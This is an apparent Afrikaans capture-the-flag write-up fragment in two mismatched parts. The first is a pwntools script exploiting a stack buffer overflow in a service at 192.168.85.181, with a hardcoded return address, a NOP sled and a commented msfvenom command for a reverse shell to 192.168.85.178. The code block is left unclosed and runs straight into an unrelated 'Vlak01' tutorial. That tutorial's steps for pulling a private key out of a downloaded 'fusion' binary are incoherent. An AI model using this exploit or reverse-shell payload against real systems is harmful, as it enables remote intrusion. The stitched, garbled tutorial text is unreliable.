1. Kry die verskuiwing om EIP te wysig
2. Plaas die adres van die shellcode in EIP
```python
from pwn import *

r = remote("192.168.85.181", 20000)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0xbffff440)  # Stack address where the shellcode will be saved
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python

# Vlak01

## Inleiding

In hierdie vlak sal ons kyk na 'n eenvoudige manier om 'n uitvoerbare stoor te kry wat ons kan gebruik om 'n privesleutel te kry. Ons sal gebruik maak van die `fusion`-toepassing wat 'n privesleutel genereer en dit in 'n stoor stoor. Ons sal die stoor ontleed en die privesleutel kry.

## Stap 1: Kry die `fusion`-toepassing

Ons begin deur die `fusion`-toepassing te kry. Ons kan dit doen deur die volgende opdrag uit te voer:

```bash
wget https://example.com/fusion
```

## Stap 2: Voer die `fusion`-toepassing uit

Nadat ons die `fusion`-toepassing gekry het, voer ons dit uit deur die volgende opdrag uit te voer:

```bash
./fusion
```

## Stap 3: Ontleed die stoor

Nadat die `fusion`-toepassing uitgevoer is, sal dit 'n stoor genereer wat die privesleutel bevat. Ons kan die stoor ontleed deur die volgende opdrag uit te voer:

```bash
strings fusion | grep "PRIVATE KEY"
```

## Stap 4: Kry die privesleutel

Nadat ons die stoor ontleed het, sal ons die privesleutel sien. Ons kan dit kopieer en gebruik vir verdere doeleindes.

## Gevolgtrekking

Met hierdie eenvoudige tegniek kan ons 'n privesleutel kry deur die `fusion`-toepassing te gebruik en die stoor te ontleed. Dit is 'n nuttige tegniek vir die verkryging van sensitiewe inligting.
